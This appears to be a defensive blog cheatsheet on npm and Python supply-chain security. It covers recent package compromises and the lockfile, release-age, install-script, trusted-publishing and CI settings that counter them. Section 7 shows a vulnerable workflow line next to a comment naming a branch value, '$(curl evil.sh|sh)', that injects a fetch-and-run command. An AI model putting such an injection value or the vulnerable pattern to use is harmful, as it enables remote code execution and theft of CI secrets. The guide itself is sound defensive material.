Most of the code you ship was written by someone you have never met. A typical Python service pulls in dozens of packages; a typical frontend pulls in hundreds. Each one is a path into your build machine, your CI secrets and your production servers, and attackers have noticed.
The last eighteen months made this concrete. In September 2025 a phished maintainer account pushed malicious versions of chalk, debug and other npm packages with billions of weekly downloads combined. Days later the Shai-Hulud worm started stealing tokens and republishing itself into every package its victims could publish. In November its second wave ran at install time, before any of your code executed. On the Python side, ultralytics shipped a cryptominer through its own release pipeline in December 2024.
The good news: the defenses are now mostly configuration, not heroics. Registries removed long-lived tokens, package managers added release-age gates, and trusted publishing is a few lines of YAML. This post is the cheatsheet: what the attacks look like, and the exact settings that make them miss you.
1. The vocabulary
| Term | Meaning | Why it matters |
|---|---|---|
| Direct dependency | A package you list in pyproject.toml or package.json |
The part you chose. Usually a small fraction of what you install. |
| Transitive dependency | A dependency of a dependency | Most of your tree, and most of your risk. You never reviewed it. |
| Lockfile | A file recording the exact resolved version (and usually hash) of every package | Makes installs reproducible. Without it, every install can pull something new. |
| Integrity hash | A cryptographic hash of the package file, checked at install | Stops a tampered file with the same version number from installing. |
| Lifecycle / install script | Code a package runs during install (preinstall, postinstall; setup.py for Python source builds) |
Runs with your user's permissions before you import anything. The favorite worm entry point. |
| Account takeover | An attacker gets a maintainer's credentials and publishes a malicious version | The package is legitimate, the version is not. Name checks do not help. |
| Typosquatting | Publishing reqeusts or crossenv hoping for typos |
Also applies to package names suggested by AI assistants that do not exist yet. |
| Dependency confusion | Publishing a public package with the same name as your private one | Misconfigured resolvers pick the public one, often the higher version. |
| Dependency cooldown / release-age gate | Refusing to install versions published less than N days ago | Most malicious versions are found and removed within hours or days. |
| Trusted publishing | Publishing from CI with a short-lived OIDC token instead of a stored API token | No long-lived secret to steal. |
| Provenance / attestation | A signed statement linking a package file to the source commit and build that produced it | Lets consumers check where a package came from. |
| SBOM | Software Bill of Materials: a machine-readable list of components (CycloneDX or SPDX) | Answers "are we affected?" in minutes instead of days. |
| SLSA | Supply-chain Levels for Software Artifacts: a framework of build integrity levels | A shared language for "how trustworthy is this build". |
2. How the recent attacks actually worked
Every defense below maps to at least one of these. Learn the pattern, not the incident.
| Incident | Date | Entry point | What would have helped |
|---|---|---|---|
| ultralytics (PyPI) | December 2024 | GitHub Actions pull_request_target workflow with template injection via a branch name; malicious versions published from the project's own pipeline, then more with a stolen token |
Hardened CI triggers, no long-lived publish token, cooldown for consumers |
| tj-actions/changed-files (GitHub Actions) | March 2025 | Attacker repointed version tags of a popular action to a malicious commit that dumped CI secrets into logs | Pinning actions to a full commit SHA, least-privilege tokens |
| chalk, debug and other popular packages (npm) | September 2025 | Maintainer phished through a fake "2FA reset" email from npmjs.help; attacker captured password and TOTP code |
Phishing-resistant 2FA (WebAuthn), cooldown for consumers |
| Shai-Hulud (npm) | September 2025 | Self-replicating worm: stole npm and cloud tokens on install, then published infected versions of every package the victim maintained. GitHub removed 500+ packages | No long-lived tokens, install scripts off, cooldown |
| Shai-Hulud 2.0 (npm) | November 2025 | Same idea, moved to preinstall, so it ran even if the install later failed. Hundreds of packages and tens of thousands of GitHub repositories affected |
All of the above, plus not having secrets on developer machines and CI runners |
Three lessons repeat across all five:
- The package was real. These were not typosquats. The maintainers were legitimate and the packages were popular. Allowlisting "known good" names would not have helped.
- Speed is the attacker's advantage. Malicious versions were live for hours, not months. Anything that delays adoption of brand-new versions removes most of the risk.
- Tokens are the prize. Every incident either started with a stolen credential or tried to steal more. Shorter-lived, narrower credentials shrink the blast radius.
3. Pin everything: lockfiles and hashes
A lockfile turns "whatever is newest today" into "exactly what we tested". Commit it, install from it in CI, and fail the build if it is out of date.
| Ecosystem | Lockfile | Install from the lockfile only |
|---|---|---|
| npm | package-lock.json |
npm ci (fails if package.json and the lock disagree) |
| pnpm | pnpm-lock.yaml |
pnpm install --frozen-lockfile (the default in CI) |
| Yarn (Berry) | yarn.lock |
yarn install --immutable |
| uv | uv.lock (hashes included) |
uv sync --locked |
| pip | requirements.txt with --hash lines, or pylock.toml (PEP 751) |
pip install --require-hashes -r requirements.txt |
For plain pip projects, generate a hashed requirements file and make pip refuse anything else:
# Generate pinned requirements with hashes from your direct dependencies
uv pip compile requirements.in --generate-hashes -o requirements.txt
# Install exactly those files, wheels only (no setup.py execution)
pip install --require-hashes --only-binary :all: -r requirements.txt
Notes:
--require-hashesfails if any package, including transitive ones, lacks a hash. That is the point.--only-binary :all:refuses source distributions, so no package-provided build code runs at install time. Some packages only ship sdists; allow those explicitly with--no-binary <name>after reviewing them.- PEP 751 (accepted 2025) standardizes
pylock.tomlas a tool-neutral Python lockfile. pip has an experimentalpip lockcommand since 25.1. If you are already on uv,uv.lockgives you the same guarantees today.
4. Wait before you upgrade: dependency cooldowns
A cooldown is the single highest-value setting added in the last year. It tells the resolver to ignore versions younger than a threshold, so a malicious release that gets pulled within a day or two never reaches you.
| Tool | Setting | Unit | Available since |
|---|---|---|---|
| npm | min-release-age in .npmrc |
days | npm 11.10.0 (February 2026) |
| pnpm | minimumReleaseAge in pnpm-workspace.yaml, exceptions in minimumReleaseAgeExclude |
minutes | pnpm 10.16 (September 2025) |
| Yarn | npmMinimalAgeGate in .yarnrc.yml, exceptions in npmPreapprovedPackages |
duration | Yarn 4.10 (September 2025) |
| uv | exclude-newer = "7 days" (relative durations) |
duration | uv 0.9.17 (December 2025); absolute dates work on older versions |
| pip | --uploaded-prior-to <timestamp> |
absolute date/time | pip 26.0 (January 2026) |
Minimal configs:
# .npmrc (npm 11.10+)
min-release-age=7
ignore-scripts=true
# pnpm-workspace.yaml (pnpm 10.26+ for every key below)
minimumReleaseAge: 10080 # 7 days, in minutes
minimumReleaseAgeExclude:
- "@acme/*" # your own packages, released on your schedule
trustPolicy: no-downgrade # fail if a version has weaker provenance than earlier ones
blockExoticSubdeps: true # transitive deps may not come from git URLs or tarballs
allowBuilds:
esbuild: true # the only dependency allowed to run a build script
# pyproject.toml (uv 0.9.17+)
[tool.uv]
exclude-newer = "7 days"
# pip 26.0+: resolve as if it were a fixed date (exclusive upper bound)
pip install --uploaded-prior-to "2026-04-08T00:00:00Z" -r requirements.in
How long to wait:
| Window | Trade-off |
|---|---|
| 1 day | Catches the fastest takedowns (the chalk and debug versions were reverted within hours). Minimal friction. |
| 3-7 days | Covers most worm waves and the time it takes security vendors to flag them. A good default for most teams. |
| 14+ days | Strong protection, but you will need a documented bypass for urgent security patches. |
The one rule that makes cooldowns safe: have an exception path for security fixes. When a CVE fix ships today, add that package to the exclude list (or pin the version explicitly), merge, and remove the exception afterwards. Write this down before you need it.
5. Turn off install-time code
Shai-Hulud 2.0 ran in preinstall. If install scripts do not run, that entire class of payload does nothing at install time. It can still run when the code is imported, so this narrows the window rather than closing it.
| Tool | Default | How to lock it down |
|---|---|---|
| npm | Runs all lifecycle scripts | ignore-scripts=true in .npmrc, then run the few you need explicitly (npm rebuild <pkg>) |
| pnpm 10+ | Does not run dependency build scripts unless allowlisted (since 10.0, January 2025) | Keep the allowlist (allowBuilds, or onlyBuiltDependencies on older 10.x) short and reviewed |
| Yarn (Berry) | Runs scripts | enableScripts: false in .yarnrc.yml |
| pip | Builds sdists by running their build backend | --only-binary :all: |
| uv | Builds sdists when no wheel exists | --no-build (or no-build = true in [tool.uv]) |
What breaks: native modules and tools that download binaries on install (esbuild, sharp, some database drivers, Playwright browsers). That list is usually short. Allowlist those few packages by name, review them when they update, and leave scripts off for everything else.
6. Publishing: remove the tokens worth stealing
If you maintain packages, your release credentials are what attackers want. Both registries now support publishing from CI without any stored token.
| Registry | What changed | Practical effect |
|---|---|---|
| PyPI | Trusted publishing (OIDC) since 2023; PEP 740 digital attestations generally available since November 2024 | The official GitHub Action publishes with a short-lived token and generates attestations by default |
| npm | Trusted publishing (OIDC) generally available July 2025. After Shai-Hulud, GitHub announced shorter token lifetimes, mandatory 2FA for local publishing and a move from TOTP to WebAuthn. Classic tokens stopped working on December 9, 2025; npm login now gives a two-hour session |
Long-lived "automation" tokens are gone. CI should use trusted publishing; humans should use security keys |
PyPI with GitHub Actions (configure the trusted publisher on PyPI first, matching repository, workflow file and environment):
# .github/workflows/release.yml
name: release
on:
release:
types: [published]
permissions: {} # nothing by default
jobs:
pypi:
runs-on: ubuntu-latest
environment: pypi # require manual approval on this environment
permissions:
id-token: write # OIDC token for trusted publishing
contents: read
steps:
- uses: actions/checkout@<full-commit-sha> # pin by SHA, see section 7
- uses: astral-sh/setup-uv@<full-commit-sha>
- run: uv build
- uses: pypa/gh-action-pypi-publish@<full-commit-sha>
# no password or token: OIDC + attestations by default
npm is the same shape: give the job id-token: write, configure the trusted publisher on npmjs.com, and run npm publish with npm CLI 11.5.1+ on Node 22.14.0+. Provenance is attached automatically when publishing this way. Once it works, set the package to disallow token-based publishing.
Maintainer checklist:
- Security keys, not codes. The chalk phish captured a TOTP code in real time. A WebAuthn key bound to
npmjs.comwould not have worked onnpmjs.help. - Separate the release job. Build and test in one job, publish in another with the only
id-token: writepermission, behind a protected environment. - Never publish from a laptop if CI can do it. Laptops run
npm installall day. - Audit who can publish. Remove former maintainers and unused tokens. Fewer accounts, fewer phishing targets.
7. CI hardening: the pipeline is part of the supply chain
Two of the five incidents above started in GitHub Actions, not in a registry.
| Practice | Why | How |
|---|---|---|
| Pin third-party actions to a full commit SHA | Tags can be moved; tj-actions proved it. A SHA cannot | uses: owner/action@<40-char-sha> # v4.2.0. Since August 2025, GitHub's allowed-actions policy can require SHA pinning and block specific actions |
| Default to read-only tokens | Limits what a compromised step can do | permissions: {} at the top, grant per job |
Avoid pull_request_target with checkout of PR code |
Runs untrusted code with your secrets: the ultralytics entry point | Use pull_request; if you must use the target trigger, never check out or execute the PR head |
Never interpolate untrusted input into run: |
${{ github.head_ref }} in a shell line is template injection |
Pass it through env: and quote it as a shell variable |
| Short-lived cloud credentials | Stolen static keys outlive the incident | OIDC federation to AWS, GCP or Azure instead of stored keys |
| Let bots update pins, with a cooldown | SHA pins without updates rot | Dependabot or Renovate can both delay new versions; match the delay to your package-manager cooldown |
| Lint workflows | Catches the mistakes above automatically | Static analyzers for GitHub Actions workflows (zizmor, actionlint) |
The injection fix, side by side:
# Vulnerable: a branch named $(curl evil.sh|sh) runs in your shell
- run: echo "Building ${{ github.head_ref }}"
# Safe: the value is data, not code
- env:
HEAD_REF: ${{ github.head_ref }}
run: echo "Building $HEAD_REF"
8. Verify and inventory what you consume
Prevention reduces risk; inventory tells you whether an incident affects you.
| Task | npm / pnpm | Python |
|---|---|---|
| Known vulnerabilities | npm audit, pnpm audit |
pip-audit, or uv export piped to pip-audit |
| Cross-ecosystem scan | osv-scanner scan source -r . (reads lockfiles from both, queries OSV.dev) |
Same |
| Registry signatures and provenance | npm audit signatures |
Attestations visible on PyPI and verifiable through PyPI's integrity API |
| SBOM | npm sbom --sbom-format cyclonedx |
cyclonedx-py (CycloneDX) or an SPDX generator |
| Project health of a new dependency | OpenSSF Scorecard (maintenance, branch protection, signed releases) | Same |
A quick "are we affected?" routine when a new incident is announced:
# 1. Is the package anywhere in the tree, at a bad version?
npm ls chalk --all # npm
pnpm why chalk # pnpm
uv tree --invert --package requests # uv: who pulls this in
# 2. Did CI or a laptop install it during the window? Check lockfile history.
git log -p --since="2025-09-08" -- package-lock.json | grep -n '"chalk"' | head
# 3. Scan lockfiles against OSV
osv-scanner scan source -r .
If the answer is yes, the order matters: isolate, rotate, then clean. Assume every token on the affected machine or runner is stolen (npm, PyPI, GitHub, cloud), revoke them first, then remove the package, clear caches (npm cache clean --force, uv cache clean) and reinstall from a known-good lockfile.
9. A baseline you can adopt this week
| Priority | Action | Effort |
|---|---|---|
| 1 | Commit lockfiles; install with npm ci / --frozen-lockfile / uv sync --locked in CI |
Minutes |
| 2 | Add a 3-7 day cooldown in every package manager, with a written exception process | Minutes |
| 3 | Turn off install scripts (npm, Yarn) or keep the pnpm allowlist short; prefer wheels in Python | An afternoon to find what breaks |
| 4 | Pin GitHub Actions to SHAs; set permissions: {} by default |
An afternoon, then let a bot maintain it |
| 5 | Move every package you publish to trusted publishing; use security keys for registry accounts | An hour per package |
| 6 | Run OSV-Scanner or pip-audit / npm audit in CI; generate an SBOM per release |
An hour |
| 7 | Keep secrets off developer machines where possible; use short-lived credentials everywhere | Ongoing |
If your products are sold in the EU, the Cyber Resilience Act adds a regulatory reason: manufacturers must report actively exploited vulnerabilities from September 11, 2026, and the full requirements, including documenting components, apply from December 11, 2027. An SBOM and a patch process are much easier to build before a deadline than during one.
Why this matters
- The attacks are fast; your defense can be slow on purpose. A few days of cooldown removes most of the exposure to compromised releases at almost no cost.
- Install time is execution time. Lifecycle scripts and source builds run arbitrary code before your tests do. Turn them off by default.
- Credentials are the real target. Trusted publishing, two-hour sessions and security keys turn a stolen laptop token from a catastrophe into a non-event.
- CI is part of your supply chain. A mutable tag or an injected branch name is as dangerous as a malicious package.
- Inventory makes incidents boring. With lockfiles, an SBOM and a scanner, "are we affected?" is a five-minute query, not a week of guessing.
Final Thoughts
None of the settings in this cheatsheet are exotic. Lockfiles, cooldowns, script controls and trusted publishing are built into the tools you already use, and most take one line of configuration. The incidents of 2025 were damaging mainly because these defaults were off.
Start with the two cheapest wins, a committed lockfile and a release-age gate, then work down the list. You will not stop every attack, but you will stop being the easy target that a worm reaches in its first hour.
Sources
- GitHub, Our plan for a more secure npm supply chain (September 2025): Shai-Hulud response, 500+ packages removed, token lifetime, 2FA and WebAuthn plans.
- GitHub, npm classic tokens revoked, session-based auth and CLI token management now available (December 2025): classic tokens revoked, two-hour sessions.
- GitHub, npm trusted publishing with OIDC is generally available (July 2025).
- npm Docs, Trusted publishing for npm packages: npm CLI 11.5.1+ and Node 22.14.0+ requirement, workflow permissions.
- npm, npm CLI v11.10.0 release notes (February 2026):
min-release-age. - pnpm, pnpm 10.16 (September 2025), pnpm 10.21 (November 2025) and pnpm 10.26 (December 2025):
minimumReleaseAge,trustPolicy,blockExoticSubdeps,allowBuilds. - Yarn, @yarnpkg/cli 4.10.0 release notes (September 2025):
npmMinimalAgeGateandnpmPreapprovedPackages. - Astral, uv 0.9.17 release notes (December 2025): relative durations for
exclude-newer. - Richard Si, What's new in pip 26.0 (January 2026):
--uploaded-prior-to. - PyPI, PyPI now supports digital attestations (November 2024): PEP 740 attestations, defaults in the official publish action.
- Python, PEP 751: A file format to record Python dependencies for installation reproducibility (2025):
pylock.toml. - Schneier on Security, Ultralytics Supply-Chain Attack (December 2024): malicious ultralytics releases via GitHub Actions.
- CISA, Supply Chain Compromise of Third-Party GitHub Action, tj-actions/changed-files (CVE-2025-30066) (March 2025).
- Endor Labs, Major supply chain attack compromises popular npm packages including chalk and debug (September 2025): phishing via
npmjs.help, TOTP capture. - Check Point Research, Shai-Hulud 2.0: Inside The Second Coming (November 2025): preinstall execution, scale of the second wave.
- GitHub, GitHub Actions policy now supports blocking and SHA pinning actions (August 2025).
- European Commission, Cyber Resilience Act: reporting obligations from September 11, 2026, full application from December 11, 2027.